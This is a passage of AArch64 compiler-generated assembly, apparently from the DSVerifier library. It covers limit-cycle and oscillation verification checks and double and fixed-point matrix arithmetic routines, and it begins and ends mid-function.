.L187:
ldr w1, [sp, 52]
ldr w0, [sp, 20]
cmp w1, w0
blt .L192
b .L191
.L194:
nop
.L191:
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L186:
ldr w1, [sp, 48]
ldr w0, [sp, 20]
cmp w1, w0
blt .L193
nop
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE47:
.size double_check_oscillations, .-double_check_oscillations
.section .rodata
.align 3
.LC14:
.string "window_size %d\n"
.align 3
.LC15:
.string "%.0f == %.0f\n"
.align 3
.LC16:
.string "desired_elements %d\n"
.align 3
.LC17:
.string "found_elements %d\n"
.text
.align 2
.global double_check_limit_cycle
.type double_check_limit_cycle, %function
double_check_limit_cycle:
.LFB48:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 56]
str wzr, [sp, 36]
mov w0, 1
str w0, [sp, 40]
ldr w0, [sp, 20]
sub w0, w0, #2
str w0, [sp, 36]
b .L196
.L200:
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
ldr d1, [sp, 56]
fcmp d1, d0
beq .L207
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
.L196:
ldr w0, [sp, 36]
cmp w0, 0
bge .L200
b .L199
.L207:
nop
.L199:
ldr w1, [sp, 40]
ldr w0, [sp, 20]
cmp w1, w0
beq .L201
ldr w0, [sp, 40]
cmp w0, 1
beq .L201
mov w0, 1
b .L202
.L201:
mov w0, 0
.L202:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr w1, [sp, 40]
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl printf
ldr w0, [sp, 40]
lsl w0, w0, 1
str w0, [sp, 48]
str wzr, [sp, 44]
ldr w0, [sp, 20]
sub w0, w0, #1
str w0, [sp, 36]
b .L203
.L206:
ldr w1, [sp, 20]
ldr w0, [sp, 40]
sub w0, w1, w0
ldr w1, [sp, 36]
cmp w1, w0
blt .L204
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
ldr w1, [sp, 36]
ldr w0, [sp, 40]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d1, [x0]
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl printf
ldr w1, [sp, 36]
ldr w0, [sp, 40]
sub w0, w1, w0
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
ble .L205
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 36]
ldr w0, [sp, 40]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
fcmp d1, d0
bne .L205
ldr w0, [sp, 44]
add w0, w0, 2
str w0, [sp, 44]
.L204:
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
.L203:
ldr w0, [sp, 36]
cmp w0, 0
bge .L206
.L205:
ldr w1, [sp, 48]
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl printf
ldr w1, [sp, 44]
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl printf
ldr w1, [sp, 48]
ldr w0, [sp, 44]
cmp w1, w0
cset w0, ne
and w0, w0, 255
bl __DSVERIFIER_assert
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE48:
.size double_check_limit_cycle, .-double_check_limit_cycle
.align 2
.global double_check_persistent_limit_cycle
.type double_check_persistent_limit_cycle, %function
double_check_persistent_limit_cycle:
.LFB49:
.cfi_startproc
stp x29, x30, [sp, -176]!
.cfi_def_cfa_offset 176
.cfi_offset 29, -176
.cfi_offset 30, -168
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str x27, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -160
.cfi_offset 20, -152
.cfi_offset 21, -144
.cfi_offset 22, -136
.cfi_offset 23, -128
.cfi_offset 24, -120
.cfi_offset 25, -112
.cfi_offset 26, -104
.cfi_offset 27, -96
str x0, [x29, 104]
str w1, [x29, 100]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 168]
mov x1, 0
mov x0, sp
mov x19, x0
str wzr, [x29, 128]
str wzr, [x29, 132]
str wzr, [x29, 136]
ldr x0, [x29, 104]
ldr d0, [x0]
str d0, [x29, 144]
str wzr, [x29, 128]
b .L209
.L214:
ldrsw x0, [x29, 128]
lsl x0, x0, 3
ldr x1, [x29, 104]
add x0, x1, x0
ldr d0, [x0]
ldr d1, [x29, 144]
fcmp d1, d0
beq .L210
ldr w0, [x29, 136]
add w0, w0, 1
str w0, [x29, 136]
b .L211
.L210:
ldr w0, [x29, 136]
cmp w0, 0
bne .L230
ldr w0, [x29, 132]
add w0, w0, 1
str w0, [x29, 132]
.L211:
ldr w0, [x29, 128]
add w0, w0, 1
str w0, [x29, 128]
.L209:
ldr w1, [x29, 128]
ldr w0, [x29, 100]
cmp w1, w0
blt .L214
b .L213
.L230:
nop
.L213:
ldr w1, [x29, 136]
ldr w0, [x29, 132]
add w0, w1, w0
str w0, [x29, 136]
ldr w0, [x29, 136]
cmp w0, 1
ble .L215
ldr w0, [x29, 100]
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
mov w1, w0
ldr w0, [x29, 136]
cmp w0, w1
bgt .L215
mov w0, 1
b .L216
.L215:
mov w0, 0
.L216:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr w0, [x29, 136]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 152]
sxtw x1, w0
mov x26, x1
mov x27, 0
lsr x1, x26, 58
lsl x23, x27, 6
orr x23, x1, x23
lsl x22, x26, 6
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 58
lsl x21, x25, 6
orr x21, x1, x21
lsl x20, x24, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L217:
cmp sp, x1
beq .L218
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L217
.L218:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L219
str xzr, [sp, 1024]
.L219:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 160]
str wzr, [x29, 128]
b .L220
.L222:
ldr w1, [x29, 128]
ldr w0, [x29, 136]
cmp w1, w0
bge .L221
ldrsw x0, [x29, 128]
lsl x0, x0, 3
ldr x1, [x29, 104]
add x0, x1, x0
ldr d0, [x0]
ldr x0, [x29, 160]
ldrsw x1, [x29, 128]
str d0, [x0, x1, lsl 3]
.L221:
ldr w0, [x29, 128]
add w0, w0, 1
str w0, [x29, 128]
.L220:
ldr w1, [x29, 128]
ldr w0, [x29, 100]
cmp w1, w0
blt .L222
str wzr, [x29, 128]
str wzr, [x29, 140]
strb wzr, [x29, 127]
b .L223
.L227:
ldr w0, [x29, 128]
add w1, w0, 1
str w1, [x29, 128]
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [x29, 104]
add x0, x1, x0
ldr d1, [x0]
ldr w0, [x29, 140]
add w1, w0, 1
str w1, [x29, 140]
ldr x1, [x29, 160]
sxtw x0, w0
ldr d0, [x1, x0, lsl 3]
fcmp d1, d0
bne .L224
mov w0, 1
strb w0, [x29, 127]
ldr w1, [x29, 140]
ldr w0, [x29, 136]
cmp w1, w0
bne .L223
b .L229
.L224:
strb wzr, [x29, 127]
b .L226
.L229:
str wzr, [x29, 140]
.L223:
ldr w1, [x29, 128]
ldr w0, [x29, 100]
cmp w1, w0
blt .L227
.L226:
ldrb w0, [x29, 127]
cmp w0, 0
cset w0, ne
and w0, w0, 255
eor w0, w0, 1
and w0, w0, 255
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assert
mov sp, x19
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 168]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L228
bl __stack_chk_fail
.L228:
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldr x27, [sp, 80]
ldp x29, x30, [sp], 176
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE49:
.size double_check_persistent_limit_cycle, .-double_check_persistent_limit_cycle
.section .rodata
.align 3
.LC18:
.string " %.32f "
.text
.align 2
.global print_array_elements
.type print_array_elements, %function
print_array_elements:
.LFB50:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x1, [sp, 40]
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
str wzr, [sp, 60]
b .L232
.L233:
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
adrp x0, .LC18
add x0, x0, :lo12:.LC18
bl printf
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L232:
ldr w1, [sp, 60]
ldr w0, [sp, 28]
cmp w1, w0
blt .L233
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl puts
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE50:
.size print_array_elements, .-print_array_elements
.align 2
.global double_add_matrix
.type double_add_matrix, %function
double_add_matrix:
.LFB51:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str w0, [sp, 28]
str w1, [sp, 24]
str x2, [sp, 16]
str x3, [sp, 8]
str x4, [sp]
str wzr, [sp, 40]
b .L235
.L238:
str wzr, [sp, 44]
b .L236
.L237:
ldr w0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp, 16]
add x0, x1, x0
ldr w1, [sp, 44]
ldr d1, [x0, x1, lsl 3]
ldr w0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp, 8]
add x0, x1, x0
ldr w1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr w0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp]
add x0, x1, x0
fadd d0, d1, d0
ldr w1, [sp, 44]
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L236:
ldr w1, [sp, 44]
ldr w0, [sp, 24]
cmp w1, w0
bcc .L237
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L235:
ldr w1, [sp, 40]
ldr w0, [sp, 28]
cmp w1, w0
bcc .L238
nop
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE51:
.size double_add_matrix, .-double_add_matrix
.align 2
.global double_sub_matrix
.type double_sub_matrix, %function
double_sub_matrix:
.LFB52:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str w0, [sp, 28]
str w1, [sp, 24]
str x2, [sp, 16]
str x3, [sp, 8]
str x4, [sp]
str wzr, [sp, 40]
b .L240
.L243:
str wzr, [sp, 44]
b .L241
.L242:
ldr w0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp, 16]
add x0, x1, x0
ldr w1, [sp, 44]
ldr d1, [x0, x1, lsl 3]
ldr w0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp, 8]
add x0, x1, x0
ldr w1, [sp, 44]
ldr d0, [x0, x1, lsl 3]
ldr w0, [sp, 40]
lsl x0, x0, 5
ldr x1, [sp]
add x0, x1, x0
fsub d0, d1, d0
ldr w1, [sp, 44]
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L241:
ldr w1, [sp, 44]
ldr w0, [sp, 24]
cmp w1, w0
bcc .L242
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L240:
ldr w1, [sp, 40]
ldr w0, [sp, 28]
cmp w1, w0
bcc .L243
nop
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE52:
.size double_sub_matrix, .-double_sub_matrix
.section .rodata
.align 3
.LC19:
.string "\nError! Operation invalid, please enter with valid matrices."
.text
.align 2
.global double_matrix_multiplication
.type double_matrix_multiplication, %function
double_matrix_multiplication:
.LFB53:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str w0, [sp, 60]
str w1, [sp, 56]
str w2, [sp, 52]
str w3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str x6, [sp, 24]
ldr w1, [sp, 56]
ldr w0, [sp, 52]
cmp w1, w0
bne .L245
str wzr, [sp, 76]
b .L246
.L249:
str wzr, [sp, 80]
b .L247
.L248:
ldr w0, [sp, 76]
lsl x0, x0, 5
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [sp, 80]
str xzr, [x0, x1, lsl 3]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L247:
ldr w1, [sp, 80]
ldr w0, [sp, 48]
cmp w1, w0
bcc .L248
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L246:
ldr w1, [sp, 76]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L249
str wzr, [sp, 76]
b .L250
.L255:
str wzr, [sp, 80]
b .L251
.L254:
str wzr, [sp, 84]
b .L252
.L253:
ldr w0, [sp, 76]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 84]
ldr d1, [x0, x1, lsl 3]
ldr w0, [sp, 84]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x0, x1, x0
ldr w1, [sp, 80]
ldr d0, [x0, x1, lsl 3]
fmul d0, d1, d0
str d0, [sp, 88]
ldr w0, [sp, 76]
lsl x0, x0, 5
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [sp, 80]
ldr d1, [x0, x1, lsl 3]
ldr w0, [sp, 76]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 84]
ldr d2, [x0, x1, lsl 3]
ldr w0, [sp, 84]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x0, x1, x0
ldr w1, [sp, 80]
ldr d0, [x0, x1, lsl 3]
fmul d0, d2, d0
ldr w0, [sp, 76]
lsl x0, x0, 5
ldr x1, [sp, 24]
add x0, x1, x0
fadd d0, d1, d0
ldr w1, [sp, 80]
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L252:
ldr w1, [sp, 84]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L253
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L251:
ldr w1, [sp, 80]
ldr w0, [sp, 48]
cmp w1, w0
bcc .L254
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L250:
ldr w1, [sp, 76]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L255
b .L257
.L245:
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl puts
.L257:
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE53:
.size double_matrix_multiplication, .-double_matrix_multiplication
.align 2
.global fxp_matrix_multiplication
.type fxp_matrix_multiplication, %function
fxp_matrix_multiplication:
.LFB54:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
stp x19, x20, [sp, 16]
.cfi_offset 19, -80
.cfi_offset 20, -72
str w0, [sp, 76]
str w1, [sp, 72]
str w2, [sp, 68]
str w3, [sp, 64]
str x4, [sp, 56]
str x5, [sp, 48]
str x6, [sp, 40]
ldr w1, [sp, 72]
ldr w0, [sp, 68]
cmp w1, w0
bne .L259
str wzr, [sp, 84]
b .L260
.L263:
str wzr, [sp, 88]
b .L261
.L262:
ldr w0, [sp, 84]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 88]
str xzr, [x0, x1, lsl 3]
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L261:
ldr w1, [sp, 88]
ldr w0, [sp, 64]
cmp w1, w0
bcc .L262
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L260:
ldr w1, [sp, 84]
ldr w0, [sp, 76]
cmp w1, w0
bcc .L263
str wzr, [sp, 84]
b .L264
.L269:
str wzr, [sp, 88]
b .L265
.L268:
str wzr, [sp, 92]
b .L266
.L267:
ldr w0, [sp, 84]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 88]
ldr x20, [x0, x1, lsl 3]
ldr w0, [sp, 84]
lsl x0, x0, 5
ldr x1, [sp, 56]
add x0, x1, x0
ldr w1, [sp, 92]
ldr x2, [x0, x1, lsl 3]
ldr w0, [sp, 92]
lsl x0, x0, 5
ldr x1, [sp, 48]
add x0, x1, x0
ldr w1, [sp, 88]
ldr x0, [x0, x1, lsl 3]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x2, x0
ldr w0, [sp, 84]
lsl x0, x0, 5
ldr x1, [sp, 40]
add x19, x1, x0
mov x1, x2
mov x0, x20
bl fxp_add
mov x1, x0
ldr w0, [sp, 88]
str x1, [x19, x0, lsl 3]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L266:
ldr w1, [sp, 92]
ldr w0, [sp, 72]
cmp w1, w0
bcc .L267
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L265:
ldr w1, [sp, 88]
ldr w0, [sp, 64]
cmp w1, w0
bcc .L268
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L264:
ldr w1, [sp, 84]
ldr w0, [sp, 76]
cmp w1, w0
bcc .L269
b .L271
.L259:
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl puts
.L271:
nop
ldp x19, x20, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE54:
.size fxp_matrix_multiplication, .-fxp_matrix_multiplication
.align 2
.global fxp_exp_matrix
.type fxp_exp_matrix, %function
fxp_exp_matrix:
.LFB55:
.cfi_startproc
stp x29, x30, [sp, -224]!
.cfi_def_cfa_offset 224
.cfi_offset 29, -224
.cfi_offset 30, -216
mov x29, sp
stp x19, x20, [sp, 16]
.cfi_offset 19, -208
.cfi_offset 20, -200
str w0, [sp, 60]
str w1, [sp, 56]
str x2, [sp, 48]
str w3, [sp, 44]
str x4, [sp, 32]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 216]
mov x1, 0
ldr w0, [sp, 44]
cmp w0, 0
bne .L273
str wzr, [sp, 72]
b .L274
.L279:
str wzr, [sp, 76]
b .L275
.L278:
ldr w1, [sp, 72]
ldr w0, [sp, 76]
cmp w1, w0
bne .L276
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x19, x1, x0
fmov d0, 1.0e+0
bl fxp_double_to_fxp
mov x1, x0
ldr w0, [sp, 76]
str x1, [x19, x0, lsl 3]
b .L277
.L276:
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x0, x1, x0
ldr w1, [sp, 76]
str xzr, [x0, x1, lsl 3]
.L277:
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L275:
ldr w1, [sp, 76]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L278
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L274:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L279
b .L272
.L273:
str wzr, [sp, 72]
b .L281
.L284:
str wzr, [sp, 76]
b .L282
.L283:
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 48]
add x1, x1, x0
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x2, [sp, 32]
add x0, x2, x0
ldr w2, [sp, 76]
ldr x2, [x1, x2, lsl 3]
ldr w1, [sp, 76]
str x2, [x0, x1, lsl 3]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L282:
ldr w1, [sp, 76]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L283
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L281:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L284
ldr w0, [sp, 44]
cmp w0, 1
beq .L304
mov w0, 1
str w0, [sp, 80]
b .L286
.L301:
str wzr, [sp, 72]
b .L287
.L290:
str wzr, [sp, 76]
b .L288
.L289:
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x0, x1, x0
ldr w1, [sp, 76]
ldr x2, [x0, x1, lsl 3]
ldr w0, [sp, 76]
ldr w1, [sp, 72]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 88
str x2, [x1, x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L288:
ldr w1, [sp, 76]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L289
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L287:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L290
str wzr, [sp, 72]
b .L291
.L294:
str wzr, [sp, 76]
b .L292
.L293:
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x0, x1, x0
ldr w1, [sp, 76]
str xzr, [x0, x1, lsl 3]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L292:
ldr w1, [sp, 76]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L293
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L291:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L294
str wzr, [sp, 72]
b .L295
.L300:
str wzr, [sp, 76]
b .L296
.L299:
str wzr, [sp, 84]
b .L297
.L298:
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x0, x1, x0
ldr w1, [sp, 76]
ldr x20, [x0, x1, lsl 3]
ldr w0, [sp, 84]
ldr w1, [sp, 72]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 88
ldr x2, [x1, x0]
ldr w0, [sp, 84]
lsl x0, x0, 5
ldr x1, [sp, 48]
add x0, x1, x0
ldr w1, [sp, 76]
ldr x0, [x0, x1, lsl 3]
mov x1, x0
mov x0, x2
bl fxp_mult
mov x2, x0
ldr w0, [sp, 72]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x19, x1, x0
mov x1, x2
mov x0, x20
bl fxp_add
mov x1, x0
ldr w0, [sp, 76]
str x1, [x19, x0, lsl 3]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L297:
ldr w1, [sp, 84]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L298
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L296:
ldr w1, [sp, 76]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L299
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L295:
ldr w1, [sp, 72]
ldr w0, [sp, 60]
cmp w1, w0
bcc .L300
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L286:
ldr w1, [sp, 80]
ldr w0, [sp, 44]
cmp w1, w0
bcc .L301
b .L272
.L304:
nop
.L272:
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 216]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L303
bl __stack_chk_fail
.L303:
ldp x19, x20, [sp, 16]
ldp x29, x30, [sp], 224
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE55:
.size fxp_exp_matrix, .-fxp_exp_matrix
.align 2
.global double_exp_matrix
.type double_exp_matrix, %function
double_exp_matrix:
.LFB56:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
str w0, [sp, 44]
str w1, [sp, 40]
str x2, [sp, 32]
str w3, [sp, 28]
str x4, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
ldr w0, [sp, 28]
cmp w0, 0
bne .L306
str wzr, [sp, 56]
b .L307
.L312:
str wzr, [sp, 60]
b .L308
.L311:
ldr w1, [sp, 56]
ldr w0, [sp, 60]
cmp w1, w0
bne .L309
ldr w0, [sp, 56]
lsl x0, x0, 5
ldr x1, [sp, 16]
add x0, x1, x0
ldr w1, [sp, 60]
fmov d0, 1.0e+0
str d0, [x0, x1, lsl 3]
b .L310
.L309:
ldr w0, [sp, 56]
lsl x0, x0, 5
ldr x1, [sp, 16]
add x0, x1, x0
ldr w1, [sp, 60]
str xzr, [x0, x1, lsl 3]
.L310:
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L308:
ldr w1, [sp, 60]
ldr w0, [sp, 40]
cmp w1, w0
bcc .L311
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L307:
ldr w1, [sp, 56]
ldr w0, [sp, 44]
cmp w1, w0
bcc .L312
b .L305
.L306:
str wzr, [sp, 56]
b .L314
.L317:
str wzr, [sp, 60]
b .L315
.L316:
ldr w0, [sp, 56]
lsl x0, x0, 5
ldr x1, [sp, 32]
add x1, x1, x0
ldr w0, [sp, 56]
lsl x0, x0, 5
ldr x2, [sp, 16]
add x0, x2, x0
ldr w2, [sp, 60]
ldr d0, [x1, x2, lsl 3]
ldr w1, [sp, 60]
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L315:
ldr w1, [sp, 60]
ldr w0, [sp, 40]
cmp w1, w0
bcc .L316
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L314:
ldr w1, [sp, 56]
ldr w0, [sp, 44]
cmp w1, w0
bcc .L317
ldr w0, [sp, 28]
cmp w0, 1
beq .L337
mov w0, 1
str w0, [sp, 68]
b .L319
.L334:
str wzr, [sp, 56]
b .L320
.L323:
str wzr, [sp, 60]
b .L321
.L322:
ldr w0, [sp, 56]
lsl x0, x0, 5
ldr x1, [sp, 16]
add x0, x1, x0
ldr w1, [sp, 60]
ldr d0, [x0, x1, lsl 3]
ldr w0, [sp, 60]
ldr w1, [sp, 56]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L321:
ldr w1, [sp, 60]
ldr w0, [sp, 40]
cmp w1, w0
bcc .L322
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L320:
ldr w1, [sp, 56]
ldr w0, [sp, 44]
cmp w1, w0
bcc .L323
str wzr, [sp, 56]
b .L324
.L327:
str wzr, [sp, 60]
b .L325
.L326:
ldr w0, [sp, 56]
lsl x0, x0, 5
ldr x1, [sp, 16]
add x0, x1, x0
ldr w1, [sp, 60]
str xzr, [x0, x1, lsl 3]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L325:
ldr w1, [sp, 60]
ldr w0, [sp, 40]
cmp w1, w0
bcc .L326
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L324:
ldr w1, [sp, 56]
ldr w0, [sp, 44]
cmp w1, w0
bcc .L327
str wzr, [sp, 56]
b .L328
.L333:
str wzr, [sp, 60]
b .L329
.L332:
str wzr, [sp, 64]
b .L330
.L331:
ldr w0, [sp, 56]
lsl x0, x0, 5
ldr x1, [sp, 16]
add x0, x1, x0
ldr w1, [sp, 60]
ldr d1, [x0, x1, lsl 3]
ldr w0, [sp, 64]
ldr w1, [sp, 56]
lsl x1, x1, 2
